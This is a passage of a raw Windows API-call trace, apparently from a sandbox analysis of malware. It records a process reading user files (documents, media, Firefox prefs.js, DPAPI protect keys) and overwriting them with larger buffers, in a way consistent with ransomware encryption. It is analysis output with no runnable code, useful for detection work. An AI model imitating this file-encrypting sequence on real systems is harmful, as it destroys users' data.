nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x276b958*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0050.415] SetFilePointer (in: hFile=0x170, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x373f [0050.415] ReadFile (in: hFile=0x170, lpBuffer=0x276b958, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x276b958*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0050.415] SetFilePointer (in: hFile=0x170, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x373f [0050.415] WriteFile (in: hFile=0x170, lpBuffer=0x276b958*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x276b958*, lpNumberOfBytesWritten=0x2f4f28c*=0x1588, lpOverlapped=0x0) returned 1 [0050.415] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f2bc*=0) returned 0x0 [0050.415] WriteFile (in: hFile=0x170, lpBuffer=0x26156a8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x26156a8*, lpNumberOfBytesWritten=0x2f4f28c*=0x1000, lpOverlapped=0x0) returned 1 [0050.416] CloseHandle (hObject=0x170) returned 1 [0050.416] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\INvYw67ARydfe968qgYZ.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\invyw67arydfe968qgyz.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0050.416] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0050.416] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x1814f [0050.416] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0050.416] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0050.416] ReleaseMutex (hMutex=0x128) returned 1 [0050.416] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="INvYw67ARydfe968qgYZ.avi", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0050.416] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="INvYw67ARydfe968qgYZ.avi", cchWideChar=24, lpMultiByteStr=0x1e7fb1c, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="INvYw67ARydfe968qgYZ.avi", lpUsedDefaultChar=0x0) returned 24 [0050.416] ReadFile (in: hFile=0x170, lpBuffer=0x2613678, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x2613678*, lpNumberOfBytesRead=0x2f4f278*=0x4000, lpOverlapped=0x0) returned 1 [0050.417] SetFilePointer (in: hFile=0x170, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x1714f [0050.417] ReadFile (in: hFile=0x170, lpBuffer=0x261d808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x261d808*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0050.417] SetFilePointer (in: hFile=0x170, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x1714f [0050.417] WriteFile (in: hFile=0x170, lpBuffer=0x276b958*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x276b958*, lpNumberOfBytesWritten=0x2f4f28c*=0x1588, lpOverlapped=0x0) returned 1 [0050.417] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f2bc*=0) returned 0x0 [0050.418] WriteFile (in: hFile=0x170, lpBuffer=0x2613678*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x2613678*, lpNumberOfBytesWritten=0x2f4f28c*=0x4000, lpOverlapped=0x0) returned 1 [0050.418] CloseHandle (hObject=0x170) returned 1 [0050.418] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500\\be5b4fbd-cb99-45f5-9462-5f896dd3a6b9" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\protect\\s-1-5-21-3111613574-2524581245-2586426736-500\\be5b4fbd-cb99-45f5-9462-5f896dd3a6b9"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0050.419] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0050.420] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x1d4 [0050.420] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0050.420] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0050.420] ReleaseMutex (hMutex=0x128) returned 1 [0050.420] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="be5b4fbd-cb99-45f5-9462-5f896dd3a6b9", cchWideChar=36, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0050.420] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="be5b4fbd-cb99-45f5-9462-5f896dd3a6b9", cchWideChar=36, lpMultiByteStr=0x1eb2084, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="be5b4fbd-cb99-45f5-9462-5f896dd3a6b9", lpUsedDefaultChar=0x0) returned 36 [0050.420] ReadFile (in: hFile=0x170, lpBuffer=0x1d97918, nNumberOfBytesToRead=0x1d4, lpNumberOfBytesRead=0x2f4f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1d97918*, lpNumberOfBytesRead=0x2f4f2bc*=0x1d4, lpOverlapped=0x0) returned 1 [0050.421] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f300*=0) returned 0x0 [0050.421] WriteFile (in: hFile=0x170, lpBuffer=0x1de0dd8*, nNumberOfBytesToWrite=0x75c, lpNumberOfBytesWritten=0x2f4f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1de0dd8*, lpNumberOfBytesWritten=0x2f4f2d0*=0x75c, lpOverlapped=0x0) returned 1 [0050.421] CloseHandle (hObject=0x170) returned 1 [0050.421] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\templates\\normal.dotm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0050.422] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0050.422] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x509b [0050.422] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0050.422] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0050.422] ReleaseMutex (hMutex=0x128) returned 1 [0050.422] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Normal.dotm", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0050.422] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Normal.dotm", cchWideChar=11, lpMultiByteStr=0x1e630cc, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Normal.dotm", lpUsedDefaultChar=0x0) returned 11 [0050.422] ReadFile (in: hFile=0x170, lpBuffer=0x276b958, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x276b958*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0050.424] SetFilePointer (in: hFile=0x170, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x409b [0050.424] ReadFile (in: hFile=0x170, lpBuffer=0x276b958, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x276b958*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0050.424] SetFilePointer (in: hFile=0x170, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x409b [0050.425] WriteFile (in: hFile=0x170, lpBuffer=0x276b958*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x276b958*, lpNumberOfBytesWritten=0x2f4f28c*=0x1588, lpOverlapped=0x0) returned 1 [0050.425] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f2bc*=0) returned 0x0 [0050.425] WriteFile (in: hFile=0x170, lpBuffer=0x26156a8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x26156a8*, lpNumberOfBytesWritten=0x2f4f28c*=0x1000, lpOverlapped=0x0) returned 1 [0050.425] CloseHandle (hObject=0x170) returned 1 [0050.425] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\prefs.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\prefs.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0050.426] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0050.426] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0xfde [0050.426] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0050.426] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0050.427] ReleaseMutex (hMutex=0x128) returned 1 [0050.427] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="prefs.js", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0050.427] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="prefs.js", cchWideChar=8, lpMultiByteStr=0x1e630ec, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="prefs.js", lpUsedDefaultChar=0x0) returned 8 [0050.427] ReadFile (in: hFile=0x170, lpBuffer=0x276b958, nNumberOfBytesToRead=0xfde, lpNumberOfBytesRead=0x2f4f2bc, lpOverlapped=0x0 | out: lpBuffer=0x276b958*, lpNumberOfBytesRead=0x2f4f2bc*=0xfde, lpOverlapped=0x0) returned 1 [0050.428] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f300*=0) returned 0x0 [0050.428] WriteFile (in: hFile=0x170, lpBuffer=0x1dab608*, nNumberOfBytesToWrite=0x1566, lpNumberOfBytesWritten=0x2f4f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dab608*, lpNumberOfBytesWritten=0x2f4f2d0*=0x1566, lpOverlapped=0x0) returned 1 [0050.428] CloseHandle (hObject=0x170) returned 1 [0050.428] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\U-BdP.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\u-bdp.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0050.429] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0050.429] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x118ff [0050.429] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0050.429] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0050.429] ReleaseMutex (hMutex=0x128) returned 1 [0050.429] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="U-BdP.gif", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0050.429] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="U-BdP.gif", cchWideChar=9, lpMultiByteStr=0x1e6316c, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="U-BdP.gif", lpUsedDefaultChar=0x0) returned 9 [0050.429] ReadFile (in: hFile=0x170, lpBuffer=0x2613678, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x2613678*, lpNumberOfBytesRead=0x2f4f278*=0x4000, lpOverlapped=0x0) returned 1 [0050.430] SetFilePointer (in: hFile=0x170, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x108ff [0050.430] ReadFile (in: hFile=0x170, lpBuffer=0x261d808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x261d808*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0050.430] SetFilePointer (in: hFile=0x170, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x108ff [0050.430] WriteFile (in: hFile=0x170, lpBuffer=0x276b958*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x276b958*, lpNumberOfBytesWritten=0x2f4f28c*=0x1588, lpOverlapped=0x0) returned 1 [0050.430] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f2bc*=0) returned 0x0 [0050.430] WriteFile (in: hFile=0x170, lpBuffer=0x2613678*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x2613678*, lpNumberOfBytesWritten=0x2f4f28c*=0x4000, lpOverlapped=0x0) returned 1 [0050.430] CloseHandle (hObject=0x170) returned 1 [0050.431] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\desktop.ini" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0050.431] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0050.431] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x19c [0050.431] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0050.431] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0050.431] ReleaseMutex (hMutex=0x128) returned 1 [0050.431] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="desktop.ini", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0050.431] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="desktop.ini", cchWideChar=11, lpMultiByteStr=0x1e630cc, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="desktop.ini", lpUsedDefaultChar=0x0) returned 11 [0050.431] ReadFile (in: hFile=0x170, lpBuffer=0x276b978, nNumberOfBytesToRead=0x19c, lpNumberOfBytesRead=0x2f4f2bc, lpOverlapped=0x0 | out: lpBuffer=0x276b978*, lpNumberOfBytesRead=0x2f4f2bc*=0x19c, lpOverlapped=0x0) returned 1 [0050.432] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f300*=0) returned 0x0 [0050.432] WriteFile (in: hFile=0x170, lpBuffer=0x1de0dd8*, nNumberOfBytesToWrite=0x724, lpNumberOfBytesWritten=0x2f4f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1de0dd8*, lpNumberOfBytesWritten=0x2f4f2d0*=0x724, lpOverlapped=0x0) returned 1 [0050.432] CloseHandle (hObject=0x170) returned 1 [0050.432] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\C04ckpKvkylkL TPr.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\c04ckpkvkylkl tpr.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0050.432] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0050.432] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x1282 [0050.432] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0050.433] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0050.433] ReleaseMutex (hMutex=0x128) returned 1 [0050.433] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C04ckpKvkylkL TPr.pptx", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0050.433] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C04ckpKvkylkL TPr.pptx", cchWideChar=22, lpMultiByteStr=0x1e7894c, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C04ckpKvkylkL TPr.pptx", lpUsedDefaultChar=0x0) returned 22 [0050.433] ReadFile (in: hFile=0x170, lpBuffer=0x276b958, nNumberOfBytesToRead=0x1282, lpNumberOfBytesRead=0x2f4f2bc, lpOverlapped=0x0 | out: lpBuffer=0x276b958*, lpNumberOfBytesRead=0x2f4f2bc*=0x1282, lpOverlapped=0x0) returned 1 [0050.433] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f300*=0) returned 0x0 [0050.434] WriteFile (in: hFile=0x170, lpBuffer=0x1dab608*, nNumberOfBytesToWrite=0x180a, lpNumberOfBytesWritten=0x2f4f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dab608*, lpNumberOfBytesWritten=0x2f4f2d0*=0x180a, lpOverlapped=0x0) returned 1 [0050.434] CloseHandle (hObject=0x170) returned 1 [0050.434] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yHlFw.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yhlfw.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0050.434] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0050.434] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0xd1fe [0050.434] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0050.434] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0050.434] ReleaseMutex (hMutex=0x128) returned 1 [0050.434] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="yHlFw.pptx", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0050.434] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="yHlFw.pptx", cchWideChar=10, lpMultiByteStr=0x1e630cc, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="yHlFw.pptx", lpUsedDefaultChar=0x0) returned 10 [0050.434] ReadFile (in: hFile=0x170, lpBuffer=0x2613678, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x2613678*, lpNumberOfBytesRead=0x2f4f278*=0x4000, lpOverlapped=0x0) returned 1 [0051.143] SetFilePointer (in: hFile=0x170, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0xc1fe [0051.143] ReadFile (in: hFile=0x170, lpBuffer=0x1defc18, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x1defc18*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0051.143] SetFilePointer (in: hFile=0x170, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0xc1fe [0051.147] WriteFile (in: hFile=0x170, lpBuffer=0x1dac638*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x1dac638*, lpNumberOfBytesWritten=0x2f4f28c*=0x1588, lpOverlapped=0x0) returned 1 [0051.147] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f2bc*=0) returned 0x0 [0051.150] WriteFile (in: hFile=0x170, lpBuffer=0x1debc18*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x1debc18*, lpNumberOfBytesWritten=0x2f4f28c*=0x4000, lpOverlapped=0x0) returned 1 [0051.150] CloseHandle (hObject=0x170) returned 1 [0051.151] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Home.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\microsoft at home.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0051.157] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0051.160] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x85 [0051.160] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, 